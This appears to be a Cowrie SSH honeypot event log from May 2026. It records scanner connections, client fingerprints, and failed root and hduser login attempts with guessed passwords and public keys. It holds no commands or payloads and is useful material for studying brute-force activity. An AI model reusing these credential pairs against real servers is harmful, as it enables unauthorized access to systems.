{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:50.870405Z","src_ip":"62.133.62.83","session":"e329385b84ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tttttt","message":"login attempt [root/tttttt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:51.110157Z","src_ip":"62.133.62.83","session":"e329385b84ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:52.193058Z","src_ip":"62.133.62.83","session":"e329385b84ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49542,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d56525780ce","protocol":"ssh","message":"New connection: 83.168.110.85:49542 (159.203.135.109:22) [session: 0d56525780ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:52.672465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:52.694060Z","src_ip":"83.168.110.85","session":"0d56525780ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:52.794619Z","src_ip":"83.168.110.85","session":"0d56525780ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:53.268690Z","src_ip":"83.168.110.85","session":"0d56525780ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:54.480058Z","src_ip":"83.168.110.85","session":"0d56525780ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.198","src_port":60150,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c5989911a7e","protocol":"ssh","message":"New connection: 172.236.228.198:60150 (159.203.135.109:22) [session: 8c5989911a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:54.526107Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:54.531298Z","src_ip":"172.236.228.198","session":"8c5989911a7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:54.535229Z","src_ip":"172.236.228.198","session":"8c5989911a7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.198","src_port":60164,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd78b3f05107","protocol":"ssh","message":"New connection: 172.236.228.198:60164 (159.203.135.109:22) [session: fd78b3f05107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:54.656106Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u0006\\x8eU\\xac\\x85W\bk>\u0003\\xa8","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u0006\\x8eU\\xac\\x85W\bk>\u0003\\xa8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:54.661789Z","src_ip":"172.236.228.198","session":"fd78b3f05107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:54.665911Z","src_ip":"172.236.228.198","session":"fd78b3f05107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.157.184","src_port":44310,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2eba556e19b","protocol":"ssh","message":"New connection: 184.154.157.184:44310 (10.17.0.5:22) [session: c2eba556e19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:55.689863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:55.695056Z","src_ip":"184.154.157.184","session":"c2eba556e19b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:55.726261Z","src_ip":"184.154.157.184","session":"c2eba556e19b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:b4:4f:ad:1f:94:8e:ae:45:9d:c9:af:d3:a6:14:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1xdcZBHIh4/Z+eqpFEe52yGbX3iX3NBTg1Fgr5E+Z35FxsiWMmdl2hHG7k96i/DiGezZ8E8DMgFsomNSovtWWXbSYM2CPhRwlRI++elOeet9FNNDZ12vfscd5KTbs5hbglej5Lb2YvHYRyyUkaF1m41kedAHghBAEED+5kk9B3FCdbNTdvse/KzOEbrBQjGIHmHRiys+0Wo8CC9qxlkIgTpn+7rF9ChX4wHKJaRdnBS5YPVbjRLRizEqT5A6mU5FbFFqRgGFp0nLOU6j4CijCX8j6JnQJkpY7PDcZ9h/Dezzzmfu0u0Vg2fGaaRHr2TIMUaWAjATokiCd1Gh/RxfF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:b4:4f:ad:1f:94:8e:ae:45:9d:c9:af:d3:a6:14:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:55.845702Z","src_ip":"184.154.157.184","session":"c2eba556e19b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:b4:4f:ad:1f:94:8e:ae:45:9d:c9:af:d3:a6:14:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1xdcZBHIh4/Z+eqpFEe52yGbX3iX3NBTg1Fgr5E+Z35FxsiWMmdl2hHG7k96i/DiGezZ8E8DMgFsomNSovtWWXbSYM2CPhRwlRI++elOeet9FNNDZ12vfscd5KTbs5hbglej5Lb2YvHYRyyUkaF1m41kedAHghBAEED+5kk9B3FCdbNTdvse/KzOEbrBQjGIHmHRiys+0Wo8CC9qxlkIgTpn+7rF9ChX4wHKJaRdnBS5YPVbjRLRizEqT5A6mU5FbFFqRgGFp0nLOU6j4CijCX8j6JnQJkpY7PDcZ9h/Dezzzmfu0u0Vg2fGaaRHr2TIMUaWAjATokiCd1Gh/RxfF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:55.850372Z","src_ip":"184.154.157.184","session":"c2eba556e19b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:eb:27:e5:a9:69:e8:7d:c5:9e:d5:38:0a:6d:17:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTjCS1y3K+3gUttsmC6rzJSUeE3CmgHrFakn36/uDXCBFuFosO4SqLbob3cP0tl3WjQcg9fRsbuyfGksd92e9UtfzCi4GdUKhP54VlvYoyFYnGhcNGwZYFCdK9+MMQzPYRoJJhIzce2IuU2dUvihNgdYjlEsyEQ6Grl+piITSABWwQEgZ6WeLXHRMw7VuQ/2iAk+DaCrfJUvLOuFJpywcu9f9cVCjpSSQmOkP0sX6FUfXYSWz12zOXK8VaN3ocJv4C5UDTVJnA9A46MBphQFAkOgMBPR5SCcfVTqZoOKvh9SJPLNNKOmwowP3Juo25lLQ/0jY3DTE97caFS/T6279T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:eb:27:e5:a9:69:e8:7d:c5:9e:d5:38:0a:6d:17:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:55.880842Z","src_ip":"184.154.157.184","session":"c2eba556e19b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:eb:27:e5:a9:69:e8:7d:c5:9e:d5:38:0a:6d:17:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTjCS1y3K+3gUttsmC6rzJSUeE3CmgHrFakn36/uDXCBFuFosO4SqLbob3cP0tl3WjQcg9fRsbuyfGksd92e9UtfzCi4GdUKhP54VlvYoyFYnGhcNGwZYFCdK9+MMQzPYRoJJhIzce2IuU2dUvihNgdYjlEsyEQ6Grl+piITSABWwQEgZ6WeLXHRMw7VuQ/2iAk+DaCrfJUvLOuFJpywcu9f9cVCjpSSQmOkP0sX6FUfXYSWz12zOXK8VaN3ocJv4C5UDTVJnA9A46MBphQFAkOgMBPR5SCcfVTqZoOKvh9SJPLNNKOmwowP3Juo25lLQ/0jY3DTE97caFS/T6279T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:55.887293Z","src_ip":"184.154.157.184","session":"c2eba556e19b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:5c:70:0b:12:d8:fe:7a:b1:a7:26:10:ce:ec:f7:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwN1lJ4Y1KNbKVdnMd3IvY/QGmRr5G9xPP1MlSolV5v2e8MmTfIpPeaQAhdabhTfN+ImTp2tcAdDmvyZyfMhAE6hVs9EjTC+Ad/2TGZP7cpHxrjMXpmaCbef/fKTtRtN4vEl0P/OrxykwCiLm1TAmGVE37DPRDM0COyCDZEnIlj0z+OAu5VtfFOipT7mFRhlmWyeBfXIY4ba2MDUKYUfZxYgwEXO3ElLd7Kzh+r07caX2tOPk7c3uTUANei3JSR8fE1bdsDMtAnq+0wNO9c6qZC63kKw9shGX5B2nAkZddmVHIoifwtHVqaA+yO8GCgcO/dWu6+xS/g5iKAh/zev6V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:5c:70:0b:12:d8:fe:7a:b1:a7:26:10:ce:ec:f7:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:55.920314Z","src_ip":"184.154.157.184","session":"c2eba556e19b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:5c:70:0b:12:d8:fe:7a:b1:a7:26:10:ce:ec:f7:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwN1lJ4Y1KNbKVdnMd3IvY/QGmRr5G9xPP1MlSolV5v2e8MmTfIpPeaQAhdabhTfN+ImTp2tcAdDmvyZyfMhAE6hVs9EjTC+Ad/2TGZP7cpHxrjMXpmaCbef/fKTtRtN4vEl0P/OrxykwCiLm1TAmGVE37DPRDM0COyCDZEnIlj0z+OAu5VtfFOipT7mFRhlmWyeBfXIY4ba2MDUKYUfZxYgwEXO3ElLd7Kzh+r07caX2tOPk7c3uTUANei3JSR8fE1bdsDMtAnq+0wNO9c6qZC63kKw9shGX5B2nAkZddmVHIoifwtHVqaA+yO8GCgcO/dWu6+xS/g5iKAh/zev6V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:55.924137Z","src_ip":"184.154.157.184","session":"c2eba556e19b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:12:ed:5a:86:bf:49:65:f1:22:8c:63:43:86:6c:5b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMnQDKoXasV73zJeFOCnu3uw/rJRGgOqRRNQvubyhHoosEWaXX0QeTtwVoGfHgIF4IevF6DQ3im1fLdejkTiUmXZJLMbrOt+1Tumuq9Cz+F46VNaO3/pIQFoFujo0b48/a7iKYlNYUlV2kn+HRG2JgbseYCDfLOHFJcp7z90Qy2BAAAAFQDz1EBloLMaq4ipThsvz9psLagzJwAAAIAo3MjkrlAP0YuCE9R3q+N+p23oMXCrQzjn5Ogo4j4ZgCaCv6+VGWqAnwbnoDZExSOa7Ro5KgYrXtOW051FqOtgYYai6hvdi2eFY42xQR6jQUhaKGe7mNh47HVC3TzQfe7A9BXX9GxcxdvQ9uEgkEc8Hlb75u4SqCiqCyKFe4ojYgAAAIBQMwK1kUsIqhb33q/kkoOWvegm5fRL8XVl4OfEBruZ9cTtbVus2dwDq1ZFxXG2WN45K0+IWM2PagA1H+spHWStSsRqPw1Ik3a7cnNepPacYl66GNUVmqGlKCEnU7a0bzP00dcIXcLSHn9VhWj4P7jE9kDKALYvmQLrbslpdjEtSw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint b6:12:ed:5a:86:bf:49:65:f1:22:8c:63:43:86:6c:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:55.954700Z","src_ip":"184.154.157.184","session":"c2eba556e19b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:12:ed:5a:86:bf:49:65:f1:22:8c:63:43:86:6c:5b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMnQDKoXasV73zJeFOCnu3uw/rJRGgOqRRNQvubyhHoosEWaXX0QeTtwVoGfHgIF4IevF6DQ3im1fLdejkTiUmXZJLMbrOt+1Tumuq9Cz+F46VNaO3/pIQFoFujo0b48/a7iKYlNYUlV2kn+HRG2JgbseYCDfLOHFJcp7z90Qy2BAAAAFQDz1EBloLMaq4ipThsvz9psLagzJwAAAIAo3MjkrlAP0YuCE9R3q+N+p23oMXCrQzjn5Ogo4j4ZgCaCv6+VGWqAnwbnoDZExSOa7Ro5KgYrXtOW051FqOtgYYai6hvdi2eFY42xQR6jQUhaKGe7mNh47HVC3TzQfe7A9BXX9GxcxdvQ9uEgkEc8Hlb75u4SqCiqCyKFe4ojYgAAAIBQMwK1kUsIqhb33q/kkoOWvegm5fRL8XVl4OfEBruZ9cTtbVus2dwDq1ZFxXG2WN45K0+IWM2PagA1H+spHWStSsRqPw1Ik3a7cnNepPacYl66GNUVmqGlKCEnU7a0bzP00dcIXcLSHn9VhWj4P7jE9kDKALYvmQLrbslpdjEtSw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:55.959296Z","src_ip":"184.154.157.184","session":"c2eba556e19b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:62:43:9c:2e:90:28:46:14:0a:87:1b:cd:d7:13:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAySyJxABfZWER8hdCAF7NyS/iZ4Y9Ofcnhq0MFIeAqy1JUSP73bRqnihIgAqk0JOUsnCGjnFOYn4hGTIN0jwVosdhHuT7mZGTf/VIlS8P7qDkeRNFgf3Pfd3FvwLwAZa8ZzbQJOXxbCwWfPpQFngLhOyogZqDw6Pj1caTZ+qEkmbtGfGaEF+1yazICIvhAPYkLpkrVNCrfbZpuyPh9/vr+ohSIjKGtizc7ROG5z9Vf29dNo8ZZGd3dnF6LhgeLDYUaTO9auDPUzjpnj42zhqRQcpjZwm5wILHLHOqdmERGocah4YnbaQFwTWjxONgigq4679aKz8G8LWbnqKTtT/8Dw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:62:43:9c:2e:90:28:46:14:0a:87:1b:cd:d7:13:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:55.991428Z","src_ip":"184.154.157.184","session":"c2eba556e19b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:62:43:9c:2e:90:28:46:14:0a:87:1b:cd:d7:13:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAySyJxABfZWER8hdCAF7NyS/iZ4Y9Ofcnhq0MFIeAqy1JUSP73bRqnihIgAqk0JOUsnCGjnFOYn4hGTIN0jwVosdhHuT7mZGTf/VIlS8P7qDkeRNFgf3Pfd3FvwLwAZa8ZzbQJOXxbCwWfPpQFngLhOyogZqDw6Pj1caTZ+qEkmbtGfGaEF+1yazICIvhAPYkLpkrVNCrfbZpuyPh9/vr+ohSIjKGtizc7ROG5z9Vf29dNo8ZZGd3dnF6LhgeLDYUaTO9auDPUzjpnj42zhqRQcpjZwm5wILHLHOqdmERGocah4YnbaQFwTWjxONgigq4679aKz8G8LWbnqKTtT/8Dw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:55.995976Z","src_ip":"184.154.157.184","session":"c2eba556e19b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:03:56.026800Z","src_ip":"184.154.157.184","session":"c2eba556e19b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53498,"dst_ip":"159.203.135.109","dst_port":22,"session":"28c0ce2c3bee","protocol":"ssh","message":"New connection: 83.168.110.85:53498 (159.203.135.109:22) [session: 28c0ce2c3bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:02.860194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:02.954481Z","src_ip":"83.168.110.85","session":"28c0ce2c3bee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:02.982965Z","src_ip":"83.168.110.85","session":"28c0ce2c3bee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:03.457162Z","src_ip":"83.168.110.85","session":"28c0ce2c3bee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:04.583211Z","src_ip":"83.168.110.85","session":"28c0ce2c3bee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":36752,"dst_ip":"159.203.135.109","dst_port":22,"session":"c85c908568a9","protocol":"ssh","message":"New connection: 83.168.110.85:36752 (159.203.135.109:22) [session: c85c908568a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:13.148189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:04:13.208197Z","src_ip":"83.168.110.85","session":"c85c908568a9","protocol":"ssh"}
